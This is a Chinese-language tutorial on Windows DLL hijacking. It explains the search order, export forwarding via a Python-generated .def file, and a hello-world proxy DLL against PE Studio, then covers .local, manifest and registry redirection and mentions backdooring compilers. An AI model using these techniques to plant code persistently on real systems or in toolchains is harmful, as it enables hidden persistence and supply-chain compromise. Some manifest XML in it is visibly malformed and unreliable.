dll劫持技术是一种名字听起来很高级但是实际上原理很简单的一种技巧。
简介
在Windows系统中运行可执行文件时,系统会调用相应需要的.dll文件,系统的默认优先级规则是最优先调用是当前目录下的.dll链接库,寻找不到则去系统目录下寻找。或者程序会动态生成目录然后使用loadlibrary去动态调用。
如果程序没有使用SetDllDirectory()函数设定dll加载绝对路径,则程序很大可能性即存在dll劫持注入漏洞。
原理
根据dll加载的顺序来替换dll文件,并且将原dll文件的功能进行转发。
dll搜索顺序
dll的搜索顺序微软这几年一直在改,包括使用一些安全手段来改变搜索顺序。一般的顺序如下
- 应用程序加载的目录
- 系统目录,使用 GetSystemDirectory 获取该路径
- 16 位系统目录
- Windows 目录,使用 GetWindowsDirectory 获取该路径
- 当前目录
- PATH 环境变量中列出的目录
一、劫持思路:
同名dll替换策略,但是这里会出现无效的情况,原因就是:
当内存中已加载相同模块名称的 dll 时,系统将直接加载该 dll,不会进行搜索;除非设置了 dll 重定向选项
如果要加载的 dll 模块属于 Known DLLs,系统直接加载系统目录下的该 dll,不会进行搜索。
Known DLLs 列表:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
暗度陈仓 - 函数转发
要是想持久的运行恶意代码,就需要保证程序的正常运行,所以恶意的dll必须可以提供正常dll的功能,考虑到技术成本,对原功能进行重写不太现实,所以我们通过函数转发来实现。实现流程如下图所示:
一、函数较少
这种就可以直接仿照原dll的导出函数格式和参数通过LoadLibrary
函数去调用原dll的导出函数。
二、函数过多
导出函数太多的话上述方式过于麻烦,通过定义def
文件,把工作交给链接器去执行,微软给出的说明, .def文件是文本文件,其中包含一个或多个描述 DLL 的各种特性的模块语句。 如果没有使用 *__declspec(dllexport)
关键字来导出 DLL 的函数,则 DLL 需要 DEF 文件。
这里通过一个python代码来获得导出表
import os
import time
import pefile
import sys
# 实现了自动将dll中的导出函数自动整理到def文件中同时将原dll文件改名(old+)
dll_name = "msvcrt.dll"
os.rename(dll_name, "old"+dll_name)
dll = pefile.PE("old"+dll_name)
count = 0
with open(dll_name.replace(".dll", ".def"), "a", encoding='utf-8')as file:
file.write('LIBRARY '+dll_name+'\n'+'EXPORTS\n')
for export in dll.DIRECTORY_ENTRY_EXPORT.symbols:
if export.name == None:
print("no export name, ordinal is "+str(export.ordinal))
line = str(export.ordinal)
else:
line = "{}={}.{}\t@{}".format(export.name.decode(), dll_name, export.name.decode(), export.ordinal)
count += 1
print(count, line)
file.write("\t"+line+"\n")
print("finish")
# gcc -shared fake_peparser.c fake_peparser.def -o fake_peparser.dll -m32
1、def文件
def文件的基本格式如下
LIBRARY BTREE
EXPORTS
Insert @1
Delete @2
Member @3
Min @4
2、示例
以Pe Studio为例,他调用了一个peparser.dll的动态库,这个库中导出了两个函数,我们来劫持一下
首先构造一个假的dll,并且利用def方式连接上面的真的dll的导出函数
a. 构造fakedll
- fake_peparser.c
#include<stdio.h>
#include<windows.h>
BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD hPrevInstance, LPVOID lpReserved)
{
switch (hPrevInstance)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL,TEXT("hello world"),TEXT("Hello"),NULL);
break;
case DLL_PROCESS_DETACH:
MessageBox(NULL,TEXT("hello world"),TEXT("DETACH"),NULL);
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
- fake_peparser.def
LIBRARY fake_peparser.dll
EXPORTS
create=oldpeparser.create @1
run=oldpeparser.run @2
通过命令:gcc -shared fake_peparser.c fake_peparser.def -o fake_peparser.dll -m32
进行编译
最后得到fake_peparser.dll文件。通过ida观察他的导出表。看到成功导出了两个函数,但是在本dll中是无法访问的。
b. 实测
先改一下名,直接欺骗劫持
欺骗基本成功,但是影响到了程序的正常执行,调试发现他在fakedll中只写进去了字符串而不是程序
通过调试程序发现他并不是不会载入之前的dll
他也会调用到原先的dll,但是不知道为啥程序不能正常运行了。
他确实会调用之前的dll中的导出函数
在附加调试器的状态下他可以成功的打开原程序并运行,经过测试发现问题在def文件中。
成功测试:
3、解决问题
这是原先的会报错的def文件:
LIBRARY fake_peparser.dll
EXPORTS
create=oldpeparser.create @1
run=oldpeparser.run @2
这是修改之后的可以成功运行的def文件:
LIBRARY peparser.dll
EXPORTS
create=oldpeparser.create @1
run=oldpeparser.run @2
第一行发生了变化.
LIBRARY [library][BASE=address] // 指定 DLL 的名称
这个名称和要劫持的名称对上就好了。
最后实验完记得改回来。
如果导出函数没有导出名称,只有导出序号,Gcc 和 Tcc 不支持按序号导出的函数转发,可以使用 VisualStdio
分类
dll劫持一般分为两类:
- 专属dll劫持
- 系统dll劫持
一、专属dll劫持
这个就是针对某一个程序进行的劫持行为,根据程序调用dll的方式去进行替换,和上面的测试案例差不多的思路
二、系统dll劫持
对一些Windows官方的dll进行劫持,这里需要重启之后才能生效。因为他们在开机的时候就已经载入内存中了,所以需要重启一下。这种劫持方式会导致所有的程序都会加载,适合进行沙箱或者是蜜罐的监控策略。
非常底层的ntdll之类的dll不能劫持,因为他本身实现了函数装载和转发的功能。
三、dll重定向
有些dll已经被系统或者是其他的程序加载到内存中了,这时候如果需要劫持某个特定程序的这个dll就需要用到重定向的方式,强制让他去执行你指定的dll。
但是一般的Windows系统都会关闭这个功能,在注册表中 HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
添加 DevOverrideEnable (DWORD)
字段并设置为 1,来开启该功能,重启后生效。但是我没有重启。
.local
首先需要在程序同目录下创建ProgramName.exe.local
目录,然后将fakedll和原本的dll(方便转发)放进去。
这里使用普通程序中会载入的msvcrt.dll
来进行测试。这里就需要用到目录了。需要将假的dll和真的dll都放在这个目录中,这就可以达到目的。
manifest
还可以使用 manifest 配置文件(xml文件),优先级高于 .local
。这个出现再flareon 的以此竞赛中,这个东西配置了一些pe文件的基础东西。所以我们可以从这个配置文件下手,这个东西可能是独立的文件,也可能是直接附加到pe文件的后面了。这里不需要新建目录,将所有的东西放到一个一个目录就可以。
这里需要构建的是两个manifest文件,分别是目标EXE文件和fakedll的。
- msvcrt.dll.manifest
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity
version="1.0.e.e"
processorArchitecture="ia64"
name="xxx"
type="win32"
/>
<description>DLL Redirection</description><dependency>
<dependentAssembly>
<assemblyIdentity
type="win32"
name="msvcrt.dll"
version="6.0.e.e"
processorArchitecture="ia64"/>
</dependentAssembly>
</dependency>
<file
name="msvcrt.dl1"
/>
</assemble>
- test.exe.manifest
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity
version="1.0.0.0"
name="msvcrt.dll"
processorArchitecture="ia64"
type="win32"
/>
</assemble>
最后在执行dll劫持的目录中应该是这样的
├── test.c
├── oldmsvcrt.dll
├── msvcrt.dll
├── msvcrt.dll.manifest
├── test.exe
└── test.exe.manifest
这样就达成目的了。
供应链dll劫持
dll劫持的方式可以施加到编译器的上面,通过修改编译器会使用的dll,来达到在通过这个编译器编译的程序中插入后门的目的,常见的一般有
- TCC劫持
- Gcc劫持
去劫持vs的编译器对安全检查比较困难,所以针对这些编译器下手比较方便。